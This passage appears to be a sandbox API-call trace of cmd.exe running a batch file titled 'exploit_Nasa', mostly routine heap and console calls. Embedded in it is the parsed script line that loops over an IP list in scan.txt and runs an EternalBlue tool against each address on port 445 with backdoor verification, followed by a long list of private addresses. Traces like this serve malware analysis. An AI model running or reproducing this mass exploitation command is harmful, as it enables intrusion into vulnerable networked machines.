[0235.057] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9d41b0 | out: lpMode=0x4a9d41b0) returned 1
[0235.057] SetConsoleInputExeNameW () returned 0x1
[0235.057] GetConsoleOutputCP () returned 0x1b5
[0235.057] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9d4260 | out: lpCPInfo=0x4a9d4260) returned 1
[0235.057] SetThreadUILanguage (LangId=0x0) returned 0x409
[0235.058] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f6ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78
[0235.058] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3
[0235.058] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.058] SetFilePointer (in: hFile=0x78, lDistanceToMove=29, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d
[0235.058] GetProcessHeap () returned 0x3b0000
[0235.058] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0e08 | out: hHeap=0x3b0000) returned 1
[0235.059] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.059] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d
[0235.059] ReadFile (in: hFile=0x78, lpBuffer=0x4a9d6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f690, lpOverlapped=0x0 | out: lpBuffer=0x4a9d6640*, lpNumberOfBytesRead=0x28f690*=0x325, lpOverlapped=0x0) returned 1
[0235.059] SetFilePointer (in: hFile=0x78, lDistanceToMove=49, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x31
[0235.059] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9d6640, cbMultiByte=20, lpWideCharStr=0x4a9dc640, cchWideChar=8191 | out: lpWideCharStr="title exploit_Nasa\r\n") returned 20
[0235.059] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.059] GetFileType (hFile=0x78) returned 0x1
[0235.059] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.059] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x31
[0235.059] GetProcessHeap () returned 0x3b0000
[0235.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0235.060] GetProcessHeap () returned 0x3b0000
[0235.060] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0235.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6248
[0235.060] GetProcessHeap () returned 0x3b0000
[0235.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3b0ad8
[0235.061] GetProcessHeap () returned 0x3b0000
[0235.061] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x24) returned 0x3bf4e8
[0235.062] _tell (_FileHandle=3) returned 49
[0235.062] _close (_FileHandle=3) returned 0
[0235.062] _wcsicmp (_String1="title", _String2="DIR") returned 16
[0235.062] _wcsicmp (_String1="title", _String2="ERASE") returned 15
[0235.062] _wcsicmp (_String1="title", _String2="DEL") returned 16
[0235.062] _wcsicmp (_String1="title", _String2="TYPE") returned -16
[0235.062] _wcsicmp (_String1="title", _String2="COPY") returned 17
[0235.063] _wcsicmp (_String1="title", _String2="CD") returned 17
[0235.063] _wcsicmp (_String1="title", _String2="CHDIR") returned 17
[0235.063] _wcsicmp (_String1="title", _String2="RENAME") returned 2
[0235.063] _wcsicmp (_String1="title", _String2="REN") returned 2
[0235.063] _wcsicmp (_String1="title", _String2="ECHO") returned 15
[0235.063] _wcsicmp (_String1="title", _String2="SET") returned 1
[0235.063] _wcsicmp (_String1="title", _String2="PAUSE") returned 4
[0235.063] _wcsicmp (_String1="title", _String2="DATE") returned 16
[0235.063] _wcsicmp (_String1="title", _String2="TIME") returned 7
[0235.063] _wcsicmp (_String1="title", _String2="PROMPT") returned 4
[0235.063] _wcsicmp (_String1="title", _String2="MD") returned 7
[0235.063] _wcsicmp (_String1="title", _String2="MKDIR") returned 7
[0235.063] _wcsicmp (_String1="title", _String2="RD") returned 2
[0235.063] _wcsicmp (_String1="title", _String2="RMDIR") returned 2
[0235.063] _wcsicmp (_String1="title", _String2="PATH") returned 4
[0235.063] _wcsicmp (_String1="title", _String2="GOTO") returned 13
[0235.063] _wcsicmp (_String1="title", _String2="SHIFT") returned 1
[0235.063] _wcsicmp (_String1="title", _String2="CLS") returned 17
[0235.063] _wcsicmp (_String1="title", _String2="CALL") returned 17
[0235.064] _wcsicmp (_String1="title", _String2="VERIFY") returned -2
[0235.064] _wcsicmp (_String1="title", _String2="VER") returned -2
[0235.064] _wcsicmp (_String1="title", _String2="VOL") returned -2
[0235.064] _wcsicmp (_String1="title", _String2="EXIT") returned 15
[0235.064] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1
[0235.064] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15
[0235.064] _wcsicmp (_String1="title", _String2="TITLE") returned 0
[0235.064] GetConsoleTitleW (in: lpConsoleTitle=0x28f274, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0235.064] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x40) returned 0x3c62a8
[0235.065] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c62a8, Size=0x24) returned 0x3c62a8
[0235.065] GetProcessHeap () returned 0x3b0000
[0235.065] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c62a8) returned 0x24
[0235.065] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x30) returned 0x3c62d8
[0235.065] NtOpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x28f000 | out: TokenHandle=0x28f000*=0x0) returned 0xc000007c
[0235.065] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x28f000 | out: TokenHandle=0x28f000*=0x78) returned 0x0
[0235.065] NtQueryInformationToken (in: TokenHandle=0x78, TokenInformationClass=0x12, TokenInformation=0x28efcc, TokenInformationLength=0x4, ReturnLength=0x28efe0 | out: TokenInformation=0x28efcc, ReturnLength=0x28efe0) returned 0x0
[0235.065] NtQueryInformationToken (in: TokenHandle=0x78, TokenInformationClass=0x1a, TokenInformation=0x28efd8, TokenInformationLength=0x4, ReturnLength=0x28efdc | out: TokenInformation=0x28efd8, ReturnLength=0x28efdc) returned 0x0
[0235.065] NtClose (Handle=0x78) returned 0x0
[0235.065] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x28f008, nSize=0x0, Arguments=0x28f004 | out: lpBuffer="挐<(썓䪛❈䀀\r") returned 0xf
[0235.066] GetProcessHeap () returned 0x3b0000
[0235.066] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x210) returned 0x3c6338
[0235.066] SetConsoleTitleW (lpConsoleTitle="Administrator: exploit_Nasa") returned 1
[0235.068] GetProcessHeap () returned 0x3b0000
[0235.068] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c6338 | out: hHeap=0x3b0000) returned 1
[0235.068] LocalFree (hMem=0x3c6310) returned 0x0
[0235.068] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.068] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0235.068] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.068] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9d41ac | out: lpMode=0x4a9d41ac) returned 1
[0235.069] _get_osfhandle (_FileHandle=0) returned 0x3
[0235.069] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9d41b0 | out: lpMode=0x4a9d41b0) returned 1
[0235.070] SetConsoleInputExeNameW () returned 0x1
[0235.070] GetConsoleOutputCP () returned 0x1b5
[0235.070] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9d4260 | out: lpCPInfo=0x4a9d4260) returned 1
[0235.070] SetThreadUILanguage (LangId=0x0) returned 0x409
[0235.070] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f6ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78
[0235.071] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3
[0235.071] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.071] SetFilePointer (in: hFile=0x78, lDistanceToMove=49, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x31
[0235.071] GetProcessHeap () returned 0x3b0000
[0235.071] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c62d8 | out: hHeap=0x3b0000) returned 1
[0235.071] GetProcessHeap () returned 0x3b0000
[0235.071] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c62a8 | out: hHeap=0x3b0000) returned 1
[0235.071] GetProcessHeap () returned 0x3b0000
[0235.071] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf4e8 | out: hHeap=0x3b0000) returned 1
[0235.071] GetProcessHeap () returned 0x3b0000
[0235.071] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0ad8 | out: hHeap=0x3b0000) returned 1
[0235.071] GetProcessHeap () returned 0x3b0000
[0235.071] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c6248 | out: hHeap=0x3b0000) returned 1
[0235.072] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.072] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x31
[0235.072] ReadFile (in: hFile=0x78, lpBuffer=0x4a9d6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f690, lpOverlapped=0x0 | out: lpBuffer=0x4a9d6640*, lpNumberOfBytesRead=0x28f690*=0x311, lpOverlapped=0x0) returned 1
[0235.072] SetFilePointer (in: hFile=0x78, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36
[0235.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9d6640, cbMultiByte=5, lpWideCharStr=0x4a9dc640, cchWideChar=8191 | out: lpWideCharStr="cls\r\n exploit_Nasa\r\n") returned 5
[0235.072] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.072] GetFileType (hFile=0x78) returned 0x1
[0235.072] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.072] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36
[0235.072] GetProcessHeap () returned 0x3b0000
[0235.073] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0235.073] GetProcessHeap () returned 0x3b0000
[0235.073] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0235.073] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6248
[0235.073] GetProcessHeap () returned 0x3b0000
[0235.073] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3b0e08
[0235.074] _tell (_FileHandle=3) returned 54
[0235.075] _close (_FileHandle=3) returned 0
[0235.075] _wcsicmp (_String1="cls", _String2="DIR") returned -1
[0235.075] _wcsicmp (_String1="cls", _String2="ERASE") returned -2
[0235.075] _wcsicmp (_String1="cls", _String2="DEL") returned -1
[0235.075] _wcsicmp (_String1="cls", _String2="TYPE") returned -17
[0235.075] _wcsicmp (_String1="cls", _String2="COPY") returned -3
[0235.075] _wcsicmp (_String1="cls", _String2="CD") returned 8
[0235.075] _wcsicmp (_String1="cls", _String2="CHDIR") returned 4
[0235.075] _wcsicmp (_String1="cls", _String2="RENAME") returned -15
[0235.075] _wcsicmp (_String1="cls", _String2="REN") returned -15
[0235.075] _wcsicmp (_String1="cls", _String2="ECHO") returned -2
[0235.075] _wcsicmp (_String1="cls", _String2="SET") returned -16
[0235.075] _wcsicmp (_String1="cls", _String2="PAUSE") returned -13
[0235.075] _wcsicmp (_String1="cls", _String2="DATE") returned -1
[0235.075] _wcsicmp (_String1="cls", _String2="TIME") returned -17
[0235.075] _wcsicmp (_String1="cls", _String2="PROMPT") returned -13
[0235.075] _wcsicmp (_String1="cls", _String2="MD") returned -10
[0235.076] _wcsicmp (_String1="cls", _String2="MKDIR") returned -10
[0235.076] _wcsicmp (_String1="cls", _String2="RD") returned -15
[0235.076] _wcsicmp (_String1="cls", _String2="RMDIR") returned -15
[0235.076] _wcsicmp (_String1="cls", _String2="PATH") returned -13
[0235.076] _wcsicmp (_String1="cls", _String2="GOTO") returned -4
[0235.076] _wcsicmp (_String1="cls", _String2="SHIFT") returned -16
[0235.076] _wcsicmp (_String1="cls", _String2="CLS") returned 0
[0235.076] GetConsoleTitleW (in: lpConsoleTitle=0x28f274, nSize=0x104 | out: lpConsoleTitle="Administrator: exploit_Nasa") returned 0x1c
[0235.076] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3b0e20
[0235.076] GetProcessHeap () returned 0x3b0000
[0235.076] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x10) returned 0x3b0e38
[0235.077] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.077] GetFileType (hFile=0x7) returned 0x2
[0235.077] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0235.077] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f210 | out: lpMode=0x28f210) returned 1
[0235.078] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0235.078] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x28f220 | out: lpConsoleScreenBufferInfo=0x28f220) returned 1
[0235.078] ScrollConsoleScreenBufferW (hConsoleOutput=0x7, lpScrollRectangle=0x28f238, lpClipRectangle=0x0, dwDestinationOrigin=0xfed40000, lpFill=0x28f244) returned 1
[0235.081] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
[0235.081] SetConsoleCursorPosition (hConsoleOutput=0x7, dwCursorPosition=0x0) returned 1
[0235.082] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.082] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0235.083] _get_osfhandle (_FileHandle=1) returned 0x7
[0235.083] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9d41ac | out: lpMode=0x4a9d41ac) returned 1
[0235.083] _get_osfhandle (_FileHandle=0) returned 0x3
[0235.083] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9d41b0 | out: lpMode=0x4a9d41b0) returned 1
[0235.084] SetConsoleInputExeNameW () returned 0x1
[0235.084] GetConsoleOutputCP () returned 0x1b5
[0235.085] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9d4260 | out: lpCPInfo=0x4a9d4260) returned 1
[0235.085] SetThreadUILanguage (LangId=0x0) returned 0x409
[0235.085] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f6ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78
[0235.085] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3
[0235.085] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.085] SetFilePointer (in: hFile=0x78, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36
[0235.085] GetProcessHeap () returned 0x3b0000
[0235.085] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0e38 | out: hHeap=0x3b0000) returned 1
[0235.086] GetProcessHeap () returned 0x3b0000
[0235.086] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0e20 | out: hHeap=0x3b0000) returned 1
[0235.086] GetProcessHeap () returned 0x3b0000
[0235.086] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0e08 | out: hHeap=0x3b0000) returned 1
[0235.086] GetProcessHeap () returned 0x3b0000
[0235.086] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c6248 | out: hHeap=0x3b0000) returned 1
[0235.086] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.086] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36
[0235.086] ReadFile (in: hFile=0x78, lpBuffer=0x4a9d6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f690, lpOverlapped=0x0 | out: lpBuffer=0x4a9d6640*, lpNumberOfBytesRead=0x28f690*=0x30c, lpOverlapped=0x0) returned 1
[0235.086] SetFilePointer (in: hFile=0x78, lDistanceToMove=107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b
[0235.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9d6640, cbMultiByte=53, lpWideCharStr=0x4a9dc640, cchWideChar=8191 | out: lpWideCharStr="for /f \"delims=\" %%i in (scan.txt) do (echo í╛%%ií┐\r\n") returned 53
[0235.087] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.087] GetFileType (hFile=0x78) returned 0x1
[0235.087] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.087] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6b
[0235.087] GetProcessHeap () returned 0x3b0000
[0235.087] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0235.087] GetProcessHeap () returned 0x3b0000
[0235.087] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0235.088] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6248
[0235.088] GetProcessHeap () returned 0x3b0000
[0235.088] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x44) returned 0x3c62a8
[0235.088] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x14) returned 0x3b0ad8
[0235.088] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3b0ad8, Size=0x12) returned 0x3b0ad8
[0235.088] GetProcessHeap () returned 0x3b0000
[0235.088] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b0ad8) returned 0x12
[0235.088] _wcsicmp (_String1="/L", _String2="/f") returned 6
[0235.088] _wcsicmp (_String1="/D", _String2="/f") returned -2
[0235.089] _wcsicmp (_String1="/F", _String2="/f") returned 0
[0235.089] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x22) returned 0x3bf4e8
[0235.090] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1a) returned 0x3c7848
[0235.090] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c62f8
[0235.091] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6358
[0235.091] GetProcessHeap () returned 0x3b0000
[0235.091] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3c63b8
[0235.091] GetProcessHeap () returned 0x3b0000
[0235.091] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x18) returned 0x3c63d8
[0235.093] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.093] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6b
[0235.093] ReadFile (in: hFile=0x78, lpBuffer=0x4a9d6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f4a8, lpOverlapped=0x0 | out: lpBuffer=0x4a9d6640*, lpNumberOfBytesRead=0x28f4a8*=0x2d7, lpOverlapped=0x0) returned 1
[0235.093] SetFilePointer (in: hFile=0x78, lDistanceToMove=318, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13e
[0235.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9d6640, cbMultiByte=211, lpWideCharStr=0x4a9dc640, cchWideChar=8191 | out: lpWideCharStr="Eternalblue-2.2.0 --TargetIp %%i --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log)\r\n") returned 211
[0235.093] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.093] GetFileType (hFile=0x78) returned 0x1
[0235.093] _get_osfhandle (_FileHandle=3) returned 0x78
[0235.093] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13e
[0235.093] GetProcessHeap () returned 0x3b0000
[0235.094] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0235.094] GetProcessHeap () returned 0x3b0000
[0235.094] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0235.094] GetProcessHeap () returned 0x3b0000
[0235.094] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c63f8
[0235.094] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c6458
[0235.094] GetProcessHeap () returned 0x3b0000
[0235.094] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2c) returned 0x3c64b8
[0235.096] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x186) returned 0x3c64f0
[0235.099] _tell (_FileHandle=3) returned 318
[0235.099] _close (_FileHandle=3) returned 0
[0235.099] GetProcessHeap () returned 0x3b0000
[0235.099] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2c) returned 0x3c6680
[0235.099] GetProcessHeap () returned 0x3b0000
[0235.099] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3b0e08
[0235.099] GetProcessHeap () returned 0x3b0000
[0235.099] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xc) returned 0x3b0e20
[0235.099] GetProcessHeap () returned 0x3b0000
[0235.099] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe) returned 0x3b0e38
[0235.100] _wcsnicmp (_String1="delims=\"", _String2="usebackq", _MaxCount=0x8) returned -17
[0235.100] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17
[0235.100] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1
[0235.100] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0
[0235.100] GetProcessHeap () returned 0x3b0000
[0235.100] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3b0e38 | out: hHeap=0x3b0000) returned 1
[0235.100] GetProcessHeap () returned 0x3b0000
[0235.100] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xa) returned 0x3b0e38
[0235.100] GetProcessHeap () returned 0x3b0000
[0235.147] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2c) returned 0x3c66b8
[0235.147] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c66b8, Size=0x1c) returned 0x3c66b8
[0235.147] GetProcessHeap () returned 0x3b0000
[0235.148] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c66b8) returned 0x1c
[0235.148] CreateFileW (lpFileName="scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x78
[0235.148] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x101b68
[0235.148] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0235.148] GetProcessHeap () returned 0x3b0000
[0235.148] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x2036dc) returned 0x1f90020
[0235.149] ReadFile (in: hFile=0x78, lpBuffer=0x2091b90, nNumberOfBytesToRead=0x101b68, lpNumberOfBytesRead=0x28f604, lpOverlapped=0x0 | out: lpBuffer=0x2091b90*, lpNumberOfBytesRead=0x28f604*=0x101b68, lpOverlapped=0x0) returned 1
[0235.222] CloseHandle (hObject=0x78) returned 1
[0235.327] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x2091b90, cbMultiByte=1055592, lpWideCharStr=0x1f90028, cchWideChar=1055592 | out: lpWideCharStr="192.168.0.154\r\n192.168.0.155\r\n192.168.0.156\r\n192.168.0.157\r\n192.168.0.158\r\n192.168.0.159\r\n192.168.0.160\r\n192.168.0.161\r\n192.168.0.162\r\n192.168.0.163\r\n192.168.0.164\r\n192.168.0.165\r\n192.168.0.166\r\n192.168.0.167\r\n192.168.0.168\r\n192.168.0.169\r\n192.168.0.170\r\n192.168.0.171\r\n192.168.0.172\r\n192.168.0.173\r\n192.168.0.174\r\n192.168.0.175\r\n192.168.0.176\r\n192.168.0.177\r\n192.168.0.178\r\n192.168.0.179\r\n192.168.0.180\r\n192.168.0.181\r\n192.168.0.182\r\n192.168.0.183\r\n192.168.0.184\r\n192.168.0.185\r\n192.168.0.186\r\n192.168.0.187\r\n192.168.0.188\r\n192.168.0.189\r\n192.168.0.190\r\n192.168.0.191\r\n192.168.0.192\r\n192.168.0.193\r\n192.168.0.194\r\n192.168.0.195\r\n192.168.0.196\r\n192.168.0.197\r\n192.168.0.198\r\n192.168.0.199\r\n192.168.0.200\r\n192.168.0.201\r\n192.168.0.202\r\n192.168.0.203\r\n192.168.0.204\r\n192.168.0.205\r\n192.168.0.206\r\n192.168.0.207\r\n192.168.0.208\r\n192.168.0.209\r\n192.168.0.210\r\n192.168.0.211\r\n192.168.0.212\r\n192.168.0.213\r\n192.168.0.214\r\n192.168.0.215\r\n192.168.0.216\r\n192.168.0.217\r\n192.168.0.218\r\n192.168.0.219\r\n192.168.0.220\r\n192.168.0.221\r\n192.168.0.222\r\n192.168.0.223\r\n192.168.0.224\r\n192.168.0.225\r\n192.168.0.226\r\n192.168.0.227\r\n192.168.0.228\r\n192.168.0.229\r\n192.168.0.230\r\n192.168.0.231\r\n192.168.0.232\r\n192.168.0.233\r\n192.168.0.234\r\n192.168.0.235\r\n192.168.0.236\r\n192.168.0.237\r\n192.168.0.238\r\n192.168.0.239\r\n192.168.0.240\r\n192.168.0.241\r\n192.168.0.242\r\n192.168.0.243\r\n192.168.0.244\r\n192.168.0.245\r\n192.168.0.246\r\n192.168.0.247\r\n192.168.0.248\r\n192.168.0.249\r\n192.168.0.250\r\n192.168.0.251\r\n192.168.0.252\r\n192.168.0.253\r\n192.168.0.254\r\n192.168.0.255\r\n192.168.1.0\r\n192.168.1.1\r\n192.168.1.2\r\n192.168.1.3\r\n192.168.1.4\r\n192.168.1.5\r\n192.168.1.6\r\n192.168.1.7\r\n192.168.1.8\r\n192.168.1.9\r\n192.168.1.10\r\n192.168.1.11\r\n192.168.1.12\r\n192.168.1.13\r\n192.168.1.14\r\n192.168.1.15\r\n192.168.1.16\r\n19